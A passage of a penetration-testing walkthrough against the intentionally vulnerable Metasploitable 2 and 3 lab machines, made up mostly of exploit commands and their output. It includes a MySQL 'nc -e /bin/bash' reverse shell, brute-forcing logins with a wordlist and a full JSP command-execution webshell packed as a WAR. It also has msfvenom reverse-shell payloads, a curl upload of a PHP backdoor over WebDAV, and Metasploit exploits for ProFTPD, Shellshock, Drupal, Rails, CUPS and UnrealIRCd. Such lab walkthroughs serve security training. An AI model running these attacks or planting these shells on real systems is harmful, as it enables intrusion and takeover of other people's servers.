in metasploit search rmiregistry, got one exploit

`exploit/multi/misc/java_rmi_server`

<table data-header-hidden><thead><tr><th></th><th data-hidden></th></tr></thead><tbody><tr><td><pre><code>msf > use exploit/multi/misc/java_rmi_server
msf exploit(java_rmi_server) > set rhost 192.168.79.17
msf exploit(java_rmi_server) > exploit
msf exploit(java_rmi_server) > sessions -i 1
</code></pre></td><td><pre><code>1
2
3
4
</code></pre></td></tr></tbody></table>

<figure><img src="https://wg135.github.io/images/blog/misc/metasploitable2/Selection_027.png" alt=""><figcaption></figcaption></figure>

#### Remote shell (port 1524)

nothing cool,

`nc 192.168.79.179 1524`

<figure><img src="https://wg135.github.io/images/blog/misc/metasploitable2/Selection_032.png" alt=""><figcaption></figcaption></figure>

#### Mysql exploit

**Discover MySQL version:**

<table data-header-hidden><thead><tr><th></th><th data-hidden></th></tr></thead><tbody><tr><td><pre><code>msf > use auxiliary/scanner/mysql/mysql_version
msf auxiliary(mysql_version) > set rhosts 192.168.79.179
msf auxiliary(mysql_version) > run
</code></pre></td><td><pre><code>1
2
3
</code></pre></td></tr></tbody></table>

<figure><img src="https://wg135.github.io/images/blog/misc/metasploitable2/Selection_010.png" alt=""><figcaption></figcaption></figure>

**Brute Force MySQL Login**

<table data-header-hidden><thead><tr><th></th><th data-hidden></th></tr></thead><tbody><tr><td><pre><code>msf > use auxiliary/scanner/mysql/mysql_login
msf auxiliary(mysql_login) > set rhosts 192.168.79.179
msf auxiliary(mysql_login) > set USER_FILE /usr/share/wordlists/rockyou.txt
msf auxiliary(mysql_login) > set PASS_FILE /usr/share/wordlists/rockyou.txt
msf auxiliary(mysql_login) > run
</code></pre></td><td><pre><code>1
2
3
4
5
</code></pre></td></tr></tbody></table>

get root and guest without setting password

<figure><img src="https://wg135.github.io/images/blog/misc/metasploitable2/Selection_011.png" alt=""><figcaption></figcaption></figure>

Once get the credential, login to MySQL

`mysql -h 192.168.79.179 -u root -p`

In Kali setup nc:

`nc -nlvp 1234`

In MySQL, execute system command:

`mysql> system nc 192.168.79.173 1234 -e /bin/bash`

get the root:

<figure><img src="https://wg135.github.io/images/blog/misc/metasploitable2/Selection_012.png" alt=""><figcaption></figcaption></figure>

#### distccd (port 3632)

search distccd, find a exploit `exploit/unix/misc/distcc_exec`

<table data-header-hidden><thead><tr><th></th><th data-hidden></th></tr></thead><tbody><tr><td><pre><code>use exploit/unix/misc/distcc_exec
msf exploit(distcc_exec) > set rhost 192.168.79.179
msf exploit(distcc_exec) > exploit 
</code></pre></td><td><pre><code>1
2
3
</code></pre></td></tr></tbody></table>

<figure><img src="https://wg135.github.io/images/blog/misc/metasploitable2/Selection_033.png" alt=""><figcaption></figcaption></figure>

#### PostgreSQL (port 5432)

search postgresql, find a module `auxiliary/scanner/postgres/postgres_login`

<table data-header-hidden><thead><tr><th></th><th data-hidden></th></tr></thead><tbody><tr><td><pre><code>msf > use auxiliary/scanner/postgres/postgres_login
msf auxiliary(postgres_login) > set  RHOSTS 192.168.79.179
msf auxiliary(postgres_login) > run
</code></pre></td><td><pre><code>1
2
3
</code></pre></td></tr></tbody></table>

<figure><img src="https://wg135.github.io/images/blog/misc/metasploitable2/Selection_034.png" alt=""><figcaption></figcaption></figure>

find username/password, login to postgresql.

`psql -h 192.168.79.179 -U postgres`

<figure><img src="https://wg135.github.io/images/blog/misc/metasploitable2/Selection_035.png" alt=""><figcaption></figcaption></figure>

There is another exploit: `exploit/linux/postgres/postgres_payload`

<table data-header-hidden><thead><tr><th></th><th data-hidden></th></tr></thead><tbody><tr><td><pre><code>msf > use exploit/linux/postgres/postgres_payload
msf exploit(postgres_payload) > set rhost 192.168.79.17
msf exploit(postgres_payload) > exploit
</code></pre></td><td><pre><code>1
2
3
</code></pre></td></tr></tbody></table>

<figure><img src="https://wg135.github.io/images/blog/misc/metasploitable2/Selection_036.png" alt=""><figcaption></figcaption></figure>

#### VNC (port 5900)

search vnc, find a `auxiliary/scanner/vnc/vnc_login`

<table data-header-hidden><thead><tr><th></th><th data-hidden></th></tr></thead><tbody><tr><td><pre><code>msf > use auxiliary/scanner/vnc/vnc_login
msf auxiliary(vnc_login) > set rhosts 192.168.79.179
msf auxiliary(vnc_login) > run
</code></pre></td><td><pre><code>1
2
3
</code></pre></td></tr></tbody></table>

find a password:&#x20;

<figure><img src="https://wg135.github.io/images/blog/misc/metasploitable2/Selection_037.png" alt=""><figcaption></figcaption></figure>

use this password to login vnc

`vncviewer 192.168.79.179`

<figure><img src="https://wg135.github.io/images/blog/misc/metasploitable2/Selection_038.png" alt=""><figcaption></figcaption></figure>

#### X11 (Port 6000)

search x11, find a scanner `auxiliary/scanner/x11/open_x11`

<table data-header-hidden><thead><tr><th></th><th data-hidden></th></tr></thead><tbody><tr><td><pre><code>msf > use auxiliary/scanner/x11/open_x11
msf auxiliary(open_x11) > set rhosts 192.168.79.179
msf auxiliary(open_x11) > run
</code></pre></td><td><pre><code>1
2
3
</code></pre></td></tr></tbody></table>

shows `[*] 192.168.79.179:6000 - 192.168.79.179 Access Denied`

now, try to login use telnet username/password to X11

`ssh -X -l msfadmin 192.168.79.179`

#### Exploit Apache Tomcat (port 8180)

use Nikto to scan

`nikto -h 182.168.79.179:8180`

<figure><img src="https://wg135.github.io/images/blog/misc/metasploitable2/Selection_013.png" alt=""><figcaption></figcaption></figure>

defalut credential is found: ID ‘tomcat’, PW ‘tomcat’.

nagviate to <http://192.168.79.179:8180/manager/html,> input username/password, and we are in:

<figure><img src="https://wg135.github.io/images/blog/misc/metasploitable2/Selection_014.png" alt=""><figcaption></figcaption></figure>

same shit, generate upload WAR reverse shell backdoor.

create webshell called index.jsp (from pentester lab, you may generate it using msfvenom)

<table data-header-hidden><thead><tr><th></th><th data-hidden></th></tr></thead><tbody><tr><td><pre class="language-html"><code class="lang-html">&#x3C;FORM METHOD=GET ACTION='index.jsp'>
&#x3C;INPUT name='cmd' type=text>
&#x3C;INPUT type=submit value='Run'>
&#x3C;/FORM>
&#x3C;%@ page import="java.io.*" %>
&#x3C;%
   String cmd = request.getParameter("cmd");
   String output = "";
   if(cmd != null) {
      String s = null;
      try {
         Process p = Runtime.getRuntime().exec(cmd,null,null);
         BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
         while((s = sI.readLine()) != null) { output += s+"&#x3C;/br>"; }
      }  catch(IOException e) {   e.printStackTrace();   }
   }
%>
&#x3C;pre>&#x3C;%=output %>&#x3C;/pre>
</code></pre></td><td><pre><code>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
</code></pre></td></tr></tbody></table>

now pack the webshell

<table data-header-hidden><thead><tr><th></th><th data-hidden></th></tr></thead><tbody><tr><td><pre class="language-bash"><code class="lang-bash">mkdir webshell
cp index.jsp webshell

cd webshell
jar -cvf ../webshell.war \* </code></pre></td><td><pre><code>1
2
3
4
5 </code></pre></td></tr></tbody></table>

deploy it and visit <http://192.168.79.179:8180/webshell/index.jsp?>

<figure><img src="https://wg135.github.io/images/blog/misc/metasploitable2/Selection_015.png" alt=""><figcaption></figcaption></figure>

use msfvenom to create webshell:

`msfvenom -p java/jsp_shell_reverse_tcp lhost=192.168.79.173 lport=4444 -f war > webshell1.war`

setup nc in kali, deploy it and visit <http://192.168.79.179:8180/webshell1/>

After connection, get the shell:

`python -c 'import pty; pty.spawn("/bin/bash")'`

<figure><img src="https://wg135.github.io/images/blog/misc/metasploitable2/Selection_016.png" alt=""><figcaption></figcaption></figure>

Use Metasploit:

`msf > search tomcat`

<figure><img src="https://wg135.github.io/images/blog/misc/metasploitable2/Selection_017.png" alt=""><figcaption></figcaption></figure>

<table data-header-hidden><thead><tr><th></th><th data-hidden></th></tr></thead><tbody><tr><td><pre><code>msf > use exploit/multi/http/tomcat_mgr_upload
msf exploit(tomcat_mgr_upload) > set rhost 192.168.79.179
msf exploit(tomcat_mgr_upload) > set rport 8180
msf exploit(tomcat_mgr_upload) > exploit
</code></pre></td><td><pre><code>1
2
3
4
</code></pre></td></tr></tbody></table>

<figure><img src="https://wg135.github.io/images/blog/misc/metasploitable2/Selection_018.png" alt=""><figcaption></figcaption></figure>

#### Ruby DRb RMI (port 8787)

search drb, find an exploit `exploit/linux/misc/drb_remote_codeexec`

<table data-header-hidden><thead><tr><th></th><th data-hidden></th></tr></thead><tbody><tr><td><pre><code>msf > use exploit/linux/misc/drb_remote_codeexec
msf exploit(drb_remote_codeexec) > set uri druby://192.168.79.179:8787
msf exploit(drb_remote_codeexec) > exploit
</code></pre></td><td><pre><code>1
2
3
</code></pre></td></tr></tbody></table>

<figure><img src="https://wg135.github.io/images/blog/misc/metasploitable2/Selection_039.png" alt=""><figcaption></figcaption></figure>


# Metasploitable-3

Source: https\://stuffwithaurum.com

The Metasploitable virtual machine is an intentionally vulnerable image designed for testing security tools and demonstrating common vulnerabilities. Version 3 of this virtual machine is available in both Ubuntu and Windows forms. They can be set up using Vagrant and are [available on GitHub](https://github.com/rapid7/metasploitable3) and ship with even more vulnerabilities than Metasploitable 1 and 2. The virtual machines are compatible with VMWare, VirtualBox, and other common virtualization platforms. By default, Metasploitable’s network interfaces are bound to the “private network” configuration in Vagrant (VirtualBox users may need to change this to NAT Network), and the images should never be exposed to a hostile network.

### nmap Scan

A preliminary [nmap](https://nmap.org/) scan reveals a few services.

```
kali@kali:~$ sudo nmap -sV -O 10.0.2.15 -p0-65535
[sudo] password for kali:
Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-11 20:33 EDT
Nmap scan report for 10.0.2.15
Host is up (0.00020s latency).
Not shown: 65526 filtered ports
PORT STATE SERVICE VERSION
21/tcp open ftp ProFTPD 1.3.5
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.10 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.7
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
631/tcp open ipp CUPS 1.7
3000/tcp closed ppp
3306/tcp open mysql MySQL (unauthorized)
3500/tcp open http WEBrick httpd 1.3.1 (Ruby 2.3.7 (2018-03-28))
6697/tcp open irc UnrealIRCd
8181/tcp open http WEBrick httpd 1.3.1 (Ruby 2.3.7 (2018-03-28))
MAC Address: 08:00:27:48:64:BF (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: Hosts: 127.0.1.1, UBUNTU, irc.TestIRC.net; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 119.78 seconds
```

### ProFTPD

The ProFTPD service running on the system has a remote code execution vulnerability which can be exploited using the [ProFTPD 1.3.5 Mod\_Copy Command Execution](https://www.rapid7.com/db/modules/exploit/unix/ftp/proftpd_modcopy_exec) module.

```
msf5 > use exploit/unix/ftp/proftpd_modcopy_exec
msf5 exploit(unix/ftp/proftpd_modcopy_exec) > show options
Module options (exploit/unix/ftp/proftpd_modcopy_exec):
   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS     10.0.2.15        yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT      80               yes       HTTP port (TCP)
   RPORT_FTP  21               yes       FTP port
   SITEPATH   /var/www/html/   yes       Absolute writable website path
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       Base path to the website
   TMPPATH    /tmp             yes       Absolute writable path
   VHOST                       no        HTTP server virtual host
Payload options (cmd/unix/reverse_perl):
   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.0.2.4         yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port
Exploit target:
   Id  Name
   --  ----
   0   ProFTPD 1.3.5
msf5 exploit(unix/ftp/proftpd_modcopy_exec) > run
[*] Started reverse TCP handler on 10.0.2.4:4444
[*] 10.0.2.15:80 - 10.0.2.15:21 - Connected to FTP server
[*] 10.0.2.15:80 - 10.0.2.15:21 - Sending copy commands to FTP server
[*] 10.0.2.15:80 - Executing PHP payload /VQVH3.php
[*] Command shell session 2 opened (10.0.2.4:4444 -> 10.0.2.15:36318) at 2020-04-11 22:34:17 -0400
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

### Apache HTTP Server

The Apache web application running on the system has a remote code execution vulnerability which can be exploited using the [Apache mod\_cgi Bash Environment Variable Code Injection (Shellshock)](https://www.rapid7.com/db/modules/exploit/multi/http/apache_mod_cgi_bash_env_exec) module.

```
msf5 > use exploit/multi/http/apache_mod_cgi_bash_env_exec
msf5 exploit(multi/http/apache_mod_cgi_bash_env_exec) > show options
Module options (exploit/multi/http/apache_mod_cgi_bash_env_exec):
   Name            Current Setting          Required  Description
   ----            ---------------          --------  -----------
   CMD_MAX_LENGTH  2048                     yes       CMD max line length
   CVE             CVE-2014-6271            yes       CVE to check/exploit (Accepted: CVE-2014-6271, CVE-2014-6278)
   HEADER          User-Agent               yes       HTTP header to use
   METHOD          GET                      yes       HTTP method to use
   Proxies                                  no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS          10.0.2.15                yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPATH           /bin                     yes       Target PATH for binaries used by the CmdStager
   RPORT           80                       yes       The target port (TCP)
   SRVHOST         0.0.0.0                  yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
   SRVPORT         8080                     yes       The local port to listen on.
   SSL             false                    no        Negotiate SSL/TLS for outgoing connections
   SSLCert                                  no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI       /cgi-bin/hello_world.sh  yes       Path to CGI script
   TIMEOUT         5                        yes       HTTP read response timeout (seconds)
   URIPATH                                  no        The URI to use for this exploit (default is random)
   VHOST                                    no        HTTP server virtual host
Payload options (linux/x86/meterpreter/reverse_tcp):
   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.0.2.4         yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port
Exploit target:
   Id  Name
   --  ----
   0   Linux x86
msf5 exploit(multi/http/apache_mod_cgi_bash_env_exec) > run
[*] Started reverse TCP handler on 10.0.2.4:4444
[*] Command Stager progress - 100.46% done (1097/1092 bytes)
[*] Sending stage (980808 bytes) to 10.0.2.15
[*] Meterpreter session 5 opened (10.0.2.4:4444 -> 10.0.2.15:43025) at 2020-04-16 18:45:22 -0400
meterpreter > getuid
Server username: no-user @ metasploitable3-ub1404 (uid=33, gid=33, euid=33, egid=33)
```

The Apache web servers also runs WebDAV allowing unauthenticated file uploads to the /uploads/ directory on the web server. This could be used to get a shell by uploading a malicious PHP file.

First step would be to generate a web shell.

```
kali@kali:~$ msfvenom -p php/meterpreter/reverse_tcp LHOST=10.0.2.4 LPORT=4444 > ~/backdoor.php
[-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload
[-] No arch selected, selecting arch: php from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 1109 bytes
```

Next, upload it through Apache WebDAV.

```
kali@kali:~$ curl -X PUT -d @/home/kali/backdoor.php 10.0.2.15/uploads/backdoor.php
```

And trigger it by requesting the file through the webserver. Make sure to have a handler running to catch the shell!

```
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > show options
Module options (exploit/multi/handler):
   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------
Payload options (php/meterpreter/reverse_tcp):
   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.0.2.4         yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port
Exploit target:
   Id  Name
   --  ----
   0   Wildcard Target
msf5 exploit(multi/handler) > run
[*] Started reverse TCP handler on 10.0.2.4:4444
<send curl command at this time>
[*] Sending stage (38288 bytes) to 10.0.2.15
[*] Meterpreter session 7 opened (10.0.2.4:4444 -> 10.0.2.15:43129) at 2020-04-16 20:26:01 -0400
meterpreter > getuid
Server username: www-data (33)
```

```
kali@kali:~$ curl 10.0.2.15/uploads/backdoor.php
```

### Drupal

The Drupal web application running on the system has a remote code execution vulnerability which can be exploited using the [Drupal HTTP Parameter Key/Value SQL Injection (Drupageddon)](https://www.rapid7.com/db/modules/exploit/multi/http/drupal_drupageddon) module.

```
msf5 > use exploit/multi/http/drupal_drupageddon
msf5 exploit(multi/http/drupal_drupageddon) > show options
Module options (exploit/multi/http/drupal_drupageddon):
   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS     10.0.2.15/32     yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT      80               yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /drupal/         yes       The target URI of the Drupal installation
   VHOST                       no        HTTP server virtual host
Payload options (php/meterpreter/reverse_tcp):
   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.0.2.4         yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port
Exploit target:
   Id  Name
   --  ----
   0   Drupal 7.0 - 7.31 (form-cache PHP injection method)
msf5 exploit(multi/http/drupal_drupageddon) > run
[*] Started reverse TCP handler on 10.0.2.4:4444
[*] Sending stage (38288 bytes) to 10.0.2.15
[*] Meterpreter session 3 opened (10.0.2.4:4444 -> 10.0.2.15:36396) at 2020-04-11 23:18:44 -0400
meterpreter > getuid
Server username: www-data (33)
```

### phpMyAdmin

The phpMyAdmin web application running on the system has a remote code execution vulnerability which can be exploited using the [phpMyAdmin Authenticated Remote Code Execution via preg\_replace()](https://www.rapid7.com/db/modules/exploit/multi/http/phpmyadmin_preg_replace) module.

```
msf5 > use exploit/multi/http/phpmyadmin_preg_replace
msf5 exploit(multi/http/phpmyadmin_preg_replace) > show options
Module options (exploit/multi/http/phpmyadmin_preg_replace):
   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   PASSWORD   sploitme         no        Password to authenticate with
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS     10.0.2.15        yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT      80               yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /phpmyadmin/     yes       Base phpMyAdmin directory path
   USERNAME   root             yes       Username to authenticate with
   VHOST                       no        HTTP server virtual host
Payload options (php/meterpreter/reverse_tcp):
   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.0.2.4         yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port
Exploit target:
   Id  Name
   --  ----
   0   Automatic
msf5 exploit(multi/http/phpmyadmin_preg_replace) > run
[*] Started reverse TCP handler on 10.0.2.4:4444
[*] phpMyAdmin version: 3.5.8
[*] The target appears to be vulnerable.
[*] Grabbing CSRF token...
[+] Retrieved token
[*] Authenticating...
[+] Authentication successful
[*] Sending stage (38288 bytes) to 10.0.2.15
[*] Meterpreter session 5 opened (10.0.2.4:4444 -> 10.0.2.15:36448) at 2020-04-11 23:43:33 -0400
meterpreter > getuid
Server username: www-data (33)
```

### Ruby on Rails

The Ruby on Rails web application running on the system at port 3500 has a remote code execution vulnerability which can be exploited using the [Ruby on Rails ActionPack Inline ERB Code Execution](https://www.rapid7.com/db/modules/exploit/multi/http/rails_actionpack_inline_exec) module.

```
msf5 > use exploit/multi/http/rails_actionpack_inline_exec
msf5 exploit(multi/http/rails_actionpack_inline_exec) > show options
Module options (exploit/multi/http/rails_actionpack_inline_exec):
   Name         Current Setting  Required  Description
   ----         ---------------  --------  -----------
   Proxies                       no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS       10.0.2.15        yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT        3500             yes       The target port (TCP)
   SSL          false            no        Negotiate SSL/TLS for outgoing connections
   TARGETPARAM  os               yes       The target parameter to inject with inline code
   TARGETURI    /readme          yes       The path to a vulnerable Ruby on Rails application
   VHOST                         no        HTTP server virtual host
Payload options (ruby/shell_reverse_tcp):
   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.0.2.4         yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port
Exploit target:
   Id  Name
   --  ----
   0   Automatic
msf5 exploit(multi/http/rails_actionpack_inline_exec) > run
[*] Started reverse TCP handler on 10.0.2.4:4444
[*] Sending inline code to parameter: os
[*] Command shell session 7 opened (10.0.2.4:4444 -> 10.0.2.15:37195) at 2020-04-12 12:40:00 -0400
id
uid=1124(chewbacca) gid=100(users) groups=100(users),999(docker)
```

The Ruby on Rails web application running on the system at port 8181 has a remote code execution vulnerability which can be exploited using the [Ruby on Rails Known Secret Session Cookie Remote Code Execution](https://www.rapid7.com/db/modules/exploit/multi/http/rails_secret_deserialization) module.

This exploit does require knowledge of the secret used to sign the session cookie. However, the web server conveniently sends us the secret in the `Set-Cookie` header.

```
kali@kali:~$ curl -v 10.0.2.15:8181 | grep 'Set-Cookie'
*   Trying 10.0.2.15:8181...
* TCP_NODELAY set
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0* Connected to 10.0.2.15 (10.0.2.15) port 8181 (#0)
> GET / HTTP/1.1
> Host: 10.0.2.15:8181
> User-Agent: curl/7.68.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Content-Type: text/html;charset=utf-8
< Content-Length: 132
< X-Xss-Protection: 1; mode=block
< X-Content-Type-Options: nosniff
< X-Frame-Options: SAMEORIGIN
< Server: WEBrick/1.3.1 (Ruby/2.3.7/2018-03-28)
< Date: Wed, 15 Apr 2020 23:30:23 GMT
< Connection: Keep-Alive
< Set-Cookie: _metasploitable=BAh7B0kiD3Nlc3Npb25faWQGOgZFVEkiRTlmNTZiNjA1MDM3M2VjYWZlZDBi%0AMTFlMDNkYTdiYWY4YjRiOGQ5NDAzY2ViNTA0MzUxNzYzNzQwYmIyZGM1MDkG%0AOwBGSSIUX21ldGFzcGxvaXRhYmxlBjsAVEkiVFNoaGhoaCwgZG9uJ3QgdGVs%0AbCBhbnlib2R5IHRoaXMgY29va2llIHNlY3JldDogYTdhZWJjMjg3YmJhMGVl%0ANGU2NGY5NDc0MTVhOTRlNWYGOwBU%0A--fa2c7c622c1e4d24497193bac55e9bbbc2e1fe39; path=/; expires=Thu, 16 Apr 2020 00:00:23 -0000; HttpOnly
<
{ [132 bytes data]
100   132  100   132    0     0  66000      0 --:--:-- --:--:-- --:--:-- 66000
* Connection #0 to host 10.0.2.15 left intact
```

The cookie can be decoded to fetch the signing secret by URL decoding it and then base64 decoding it after separating the signature part (the stuff after the –).

```
kali@kali:~$ python -c "import urllib as ul; print(ul.unquote_plus('BAh7B0kiD3Nlc3Npb25faWQGOgZFVEkiRTlmNTZiNjA1MDM3M2VjYWZlZDBi%0AMTFlMDNkYTdiYWY4YjRiOGQ5NDAzY2ViNTA0MzUxNzYzNzQwYmIyZGM1MDkG%0AOwBGSSIUX21ldGFzcGxvaXRhYmxlBjsAVEkiVFNoaGhoaCwgZG9uJ3QgdGVs%0AbCBhbnlib2R5IHRoaXMgY29va2llIHNlY3JldDogYTdhZWJjMjg3YmJhMGVl%0ANGU2NGY5NDc0MTVhOTRlNWYGOwBU%0A--fa2c7c622c1e4d24497193bac55e9bbbc2e1fe39').split('--')[0]);" | base64 -d
{I"session_id:ETI"E9f56b6050373ecafed0b11e03da7baf8b4b8d9403ceb504351763740bb2dc509;FI"_metasploitable;TI"TShhhhh, don't tell anybody this cookie secret: a7aebc287bba0ee4e64f947415a94e5f;T
```

Now that we have the secret `a7aebc287bba0ee4e64f947415a94e5f`, we can use it to get our shell!

```
msf5 > use exploit/multi/http/rails_actionpack_inline_exec
msf5 exploit(multi/http/rails_secret_deserialization) > show options
Module options (exploit/multi/http/rails_secret_deserialization):
   Name             Current Setting                   Required  Description
   ----             ---------------                   --------  -----------
   COOKIE_NAME      _metasploitable                   no        The name of the session cookie
   DIGEST_NAME      SHA1                              yes       The digest type used to HMAC the session cookie
   HTTP_METHOD      GET                               yes       The HTTP request method (GET, POST, PUT typically work)
   Proxies                                            no        A proxy chain of format type:host:port[,type:host:port][...]
   RAILSVERSION     3                                 yes       The target Rails Version (use 3 for Rails3 and 2, 4 for Rails4)
   RHOSTS           10.0.2.15                         yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT            8181                              yes       The target port (TCP)
   SALTENC          encrypted cookie                  yes       The encrypted cookie salt
   SALTSIG          signed encrypted cookie           yes       The signed encrypted cookie salt
   SECRET           a7aebc287bba0ee4e64f947415a94e5f  yes       The secret_token (Rails3) or secret_key_base (Rails4) of the application (needed to sign the cookie)
   SSL              false                             no        Negotiate SSL/TLS for outgoing connections
   TARGETURI        /                                 yes       The path to a vulnerable Ruby on Rails application
   VALIDATE_COOKIE  true                              no        Only send the payload if the session cookie is validated
   VHOST                                              no        HTTP server virtual host
Payload options (ruby/shell_reverse_tcp):
   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.0.2.4         yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port
Exploit target:
   Id  Name
   --  ----
   0   Automatic
msf5 exploit(multi/http/rails_secret_deserialization) > run
[*] Started reverse TCP handler on 10.0.2.4:4444
[*] Checking for cookie _metasploitable
[*] Found cookie, now checking for proper SECRET
[+] SECRET matches! Sending exploit payload
[*] Sending cookie _metasploitable
[*] Command shell session 3 opened (10.0.2.4:4444 -> 10.0.2.15:36254) at 2020-04-15 19:26:00 -0400
id
uid=0(root) gid=0(root) groups=0(root)
```

### CUPS

The CUPS application running on the system has a remote code execution vulnerability which can be exploited using the [CUPS Filter Bash Environment Variable Code Injection (Shellshock)](https://www.rapid7.com/db/modules/exploit/multi/http/cups_bash_env_exec) module.

Note that there is currently a [configuration issue](https://github.com/rapid7/metasploitable3/issues/459) due to which this exploit does not work on a default configuration. You will need to add the `vagrant` user to the `lpadmin` group to get this to work by running the below command as root on the Metasploitable box first.

```
root@metasploitable3-ub1404:/home/vagrant# usermod -a -G lpadmin vagrant
```

```
msf5 > use exploit/multi/http/cups_bash_env_exec
msf5 exploit(multi/http/cups_bash_env_exec) > show options
Module options (exploit/multi/http/cups_bash_env_exec):
   Name          Current Setting  Required  Description
   ----          ---------------  --------  -----------
   CVE           CVE-2014-6271    yes       CVE to exploit (Accepted: CVE-2014-6271, CVE-2014-6278)
   HttpPassword  vagrant          yes       CUPS user password
   HttpUsername  vagrant          yes       CUPS username
   Proxies                        no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS        10.0.2.15        yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPATH         /bin             yes       Target PATH for binaries
   RPORT         631              yes       The target port (TCP)
   SSL           true             yes       Use SSL
   VHOST                          no        HTTP server virtual host
Payload options (cmd/unix/reverse_ruby_ssl):
   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.0.2.4         yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port
Exploit target:
   Id  Name
   --  ----
   0   Automatic Targeting
msf5 exploit(multi/http/cups_bash_env_exec) > run
[*] Started reverse SSL handler on 10.0.2.4:4444
[+] Added printer successfully
[+] Deleted printer 'CNtAM2hsz6XXg' successfully
[*] Command shell session 6 opened (10.0.2.4:4444 -> 10.0.2.15:43043) at 2020-04-16 18:55:15 -0400
id
uid=7(lp) gid=7(lp) groups=7(lp)
```

### Unreal IRCd

The Unreal IRCd application running on the system has a remote code execution vulnerability which can be exploited using the [UnrealIRCD 3.2.8.1 Backdoor Command Execution](https://www.rapid7.com/db/modules/exploit/unix/irc/unreal_ircd_3281_backdoor) module.

```
msf5 > use exploit/unix/irc/unreal_ircd_3281_backdoor
msf5 exploit(unix/irc/unreal_ircd_3281_backdoor) > show options
Module options (exploit/unix/irc/unreal_ircd_3281_backdoor):
   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS  10.0.2.15        yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT   6697             yes       The target port (TCP)
Payload options (cmd/unix/reverse):
   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.0.2.4         yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port
Exploit target:
   Id  Name
   --  ----
   0   Automatic Target
msf5 exploit(unix/irc/unreal_ircd_3281_backdoor) > run
[*] Started reverse TCP double handler on 10.0.2.4:4444
[*] 10.0.2.15:6697 - Connected to 10.0.2.15:6697...
    :irc.TestIRC.net NOTICE AUTH :*** Looking up your hostname...
[*] 10.0.2.15:6697 - Sending backdoor command...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo WLPTgOfxOWQqTkwI;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "WLPTgOfxOWQqTkwI\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 9 opened (10.0.2.4:4444 -> 10.0.2.15:37212) at 2020-04-12 12:48:26 -0400
id
uid=1121(boba_fett) gid=100(users) groups=100(users),999(docker)
```

### Apache Continuum

The Apache Continuum application running on the system has a remote code execution vulnerability which can be exploited using the [Apache Continuum Arbitrary Command Execution](https://www.rapid7.com/db/modules/exploit/linux/http/apache_continuum_cmd_exec) module.

